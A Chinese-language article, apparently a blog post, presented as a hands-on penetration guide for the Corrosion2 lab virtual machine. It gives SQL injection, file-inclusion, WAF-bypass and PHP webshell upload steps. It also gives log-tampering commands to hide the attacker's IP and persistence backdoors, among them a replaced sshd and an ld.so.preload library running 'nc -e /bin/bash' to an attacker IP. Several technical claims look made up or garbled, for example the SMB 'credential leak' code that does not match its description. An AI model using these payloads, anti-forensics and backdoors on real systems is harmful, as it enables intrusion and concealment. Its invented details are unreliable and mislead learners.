当前位置: 首页 > news >正文

Corrosion2靶机渗透测试实战指南

1. Corrosion2靶机概述

Corrosion2是一款专为网络安全实战训练设计的渗透测试靶机系统。作为安全研究领域的经典训练平台,它模拟了企业环境中常见的漏洞配置和安全弱点,为安全从业者、CTF选手及网络安全爱好者提供了一个高度仿真的攻防演练环境。

这款靶机最初由网络安全社区开发,其名称"Corrosion"(腐蚀)暗示了系统内存在多种可被逐步渗透的安全缺陷。与第一代相比,Corrosion2在漏洞类型、防御机制和场景复杂度上都有显著升级,包含从基础注入漏洞到高级权限提升的完整攻击链路。

2. 环境搭建与初始配置

2.1 系统获取与部署

Corrosion2靶机通常以OVA虚拟镜像格式分发,支持在VMware Workstation或VirtualBox等虚拟化平台运行。下载后建议进行SHA256校验以确保镜像完整性:

sha256sum Corrosion2.ova

部署时需注意以下关键参数配置:

  • 内存分配:至少2GB(复杂场景建议4GB)
  • 网络模式:桥接或NAT(根据实训需求选择)
  • 磁盘空间:预留40GB以上空间

注意:首次启动时会自动执行初始化脚本,这个过程可能需要5-10分钟,期间不要强制关机。

2.2 网络连接验证

成功启动后,默认会显示系统IP地址。通过nmap进行基础扫描可确认服务状态:

nmap -sV -O <靶机IP>

预期应检测到以下开放端口:

  • 22/tcp:SSH(通常配置了非标准凭证)
  • 80/tcp:Web应用(主攻入口)
  • 445/tcp:SMB服务(常见漏洞点)
  • 3306/tcp:MySQL数据库(可能存在弱密码)

3. 渗透测试路径分析

3.1 Web应用层漏洞利用

Corrosion2的Web界面包含多个典型漏洞点:

  1. SQL注入点

    • 登录页面的用户名参数存在基于时间的盲注
    • 使用sqlmap测试时需注意WAF绕过:
      sqlmap -u "http://<IP>/login" --data="user=*&pass=*" --level=5 --risk=3 --technique=T
  2. 文件包含漏洞

    • 通过URL参数可实现本地文件包含(LFI)
    • 尝试读取/etc/passwd:
      http://<IP>/index.php?page=../../../../etc/passwd
  3. 反序列化漏洞

    • Cookie中可能存在Java反序列化点
    • 可使用ysoserial生成payload:
      java -jar ysoserial.jar CommonsCollections5 'curl <攻击机IP>' > payload.bin

3.2 权限提升路径

获取初始shell后,需要通过多种方式提权:

  1. SUID二进制分析

    find / -perm -4000 2>/dev/null

    特别注意非常规的SUID程序如/usr/bin/custom_backup

  2. 内核漏洞利用

    • 通过uname -a确认内核版本
    • Corrosion2常见漏洞:CVE-2021-4034(pkexec提权)
    • 编译exp时需注意glibc版本兼容性
  3. 定时任务劫持

    crontab -l ls -la /etc/cron.*/

    查找可写的定时任务脚本

4. 防御机制与绕过技巧

Corrosion2内置了多种现代防御措施:

4.1 WAF规则分析

Web应用前端部署了ModSecurity,其特点包括:

  • 过滤常见SQLi关键词(如union select
  • 拦截目录遍历特征(如../
  • 检测快速请求(超过50req/秒触发封禁)

绕过方案:

  • 使用注释分割:uni/**/on sel/**/ect
  • URL双重编码:%252e%252e%252f代替../
  • 调整请求间隔:--delay=3参数

4.2 文件上传限制

上传功能存在多重验证:

  1. 前端JS校验文件扩展名
  2. 服务端MIME类型检查
  3. 内容签名验证

完整绕过流程:

# 1. 修改请求包绕过前端 curl -F "file=@shell.php;type=image/jpeg" http://<IP>/upload # 2. 添加图片魔数头 echo -e "\xFF\xD8\xFF\xE0<?php system($_GET['c']);?>" > shell.php.jpg # 3. 利用解析漏洞 /shell.php.jpg/.php

5. 实战经验与技巧

5.1 日志清理策略

Corrosion2会记录详细的操作日志,覆盖位置包括:

  • /var/log/apache2/access.log
  • /var/log/auth.log
  • ~/.bash_history

推荐清理方法:

# 1. 替换自己的IP记录 sed -i 's/攻击机IP/8.8.8.8/g' /var/log/*.log # 2. 使用内存文件系统操作 mount -t tmpfs tmpfs /var/log -o size=10M

5.2 持久化维持技巧

常见的后门方式容易被检测,建议:

  1. SSH wrapper后门

    cp /usr/sbin/sshd /usr/sbin/sshd.bak echo 'exec /bin/bash -c "$@"' > /usr/sbin/sshd chmod +x /usr/sbin/sshd
  2. 动态库注入

    echo 'void _init() { system("nc -e /bin/bash <攻击机IP> 4444"); }' > /tmp/libhack.c gcc -shared -o /tmp/libhack.so /tmp/libhack.c -fPIC echo "/tmp/libhack.so" >> /etc/ld.so.preload

6. 靶机进阶应用

6.1 自定义漏洞扩展

通过修改/var/www/html/config.php可以开启隐藏漏洞:

// 开启XXE漏洞 libxml_disable_entity_loader(false); // 启用危险反序列化 ini_set('unserialize_callback_func', 'mycallback');

6.2 网络拓扑拓展

将Corrosion2接入复杂网络环境:

  1. 配置多网卡模拟DMZ区
  2. 使用iptables构建跳板规则:
    iptables -t nat -A PREROUTING -p tcp --dport 8080 -j DNAT --to-destination 192.168.2.2:80
  3. 部署蜜罐服务干扰检测

我在实际渗透测试中发现,Corrosion2的SMB服务存在一个有趣的特性:当使用特定空会话请求时,会泄露内存中的临时凭证。这需要构造特殊的Negotiate Protocol Request数据包:

from impacket import smb conn = smb.SMB('*SMBSERVER', '<IP>') conn.login('', '') tree = conn.connectTree('IPC$') resp = conn.createNamedPipe(tree, 'srvsvc', 'rw')

这种非标准交互方式往往能绕过常规的漏洞检测脚本,也是真实环境中经常遇到的"特性"漏洞典型案例。

http://www.jsqmd.com/news/1365111/

相关文章:

  • Kimi K3 本地部署与 OAI 兼容 API 集成实践指南
  • kys-cpp:用现代C++复刻《金庸群侠传》,实现跨平台运行与MOD开发
  • Unity对象池设计模式:从原理到工业级实现与性能优化
  • 为什么你的Pytest脚本总在报废:AI Agent能做什么
  • ViGEmBus虚拟游戏控制器驱动:Windows玩家的终极游戏兼容性解决方案
  • SpringBoot+MySQL实现大学图书借阅管理系统
  • AI全球格局与趋势:从技术原理到产业应用的战略洞察
  • OBS多平台直播终极指南:5分钟搞定多路RTMP同步推流
  • ViGEmBus:3分钟让你的游戏手柄在Windows上完美工作
  • 3分钟修复洛雪音乐播放:六音音源智能修复方案
  • 建筑设计常用的软件一览
  • Claude Opus 5:从提示词到游戏 AI,生成成本趋近零但评估难,个性化体验待突破
  • 2026年阳极板厂家 新利兴 年产能30万片生产线 - 董不懂啊
  • Python全栈教育系统开发:Django+Flask+Vue实时统计实践
  • 收藏!普通人也能学的大模型,抢占AI时代高薪红利
  • Cesium与虚幻引擎蓝图UI集成实战:地理可视化交互开发指南
  • TranslucentTB:颠覆性Windows任务栏美化工具,打造极致透明效果体验
  • 拒绝全网内卷:赛道聚焦能力,是普通人突破学历、逆袭高薪的唯一捷径
  • 小型MoE模型:用稀疏激活突破AI部署成本瓶颈
  • 游戏模组开发与逆向工程:从《崩坏:星穹铁道》Mod看本地化部署与安全实践
  • SpringBoot框架入门与核心机制解析
  • 3分钟搞定网易云音乐NCM文件转换:ncmdumpGUI完全使用指南
  • 基于YOLO与FFmpeg的视频人物检测与自动化剪辑技术实践
  • B站课堂爬虫实战:Python采集付费课程评价与课时结构详解
  • 破局传统商务拓展困局:Sifted Network 以 AI 智能体解决企业全球化增长六大核心痛点
  • PostgreSQL连接机制与优化实践详解
  • 【2026-08】美术生复读冲刺靠谱机构怎么选?零基础美术艺考、美术专业课集训甄选——飞帆美术培训 - 多才菠萝
  • Vue3+Laravel构建中小学生阅读能力培养系统
  • VS Code settings.json配置全指南与高效管理技巧
  • Unity骨骼动画性能优化:BakeMesh与动态合批实战指南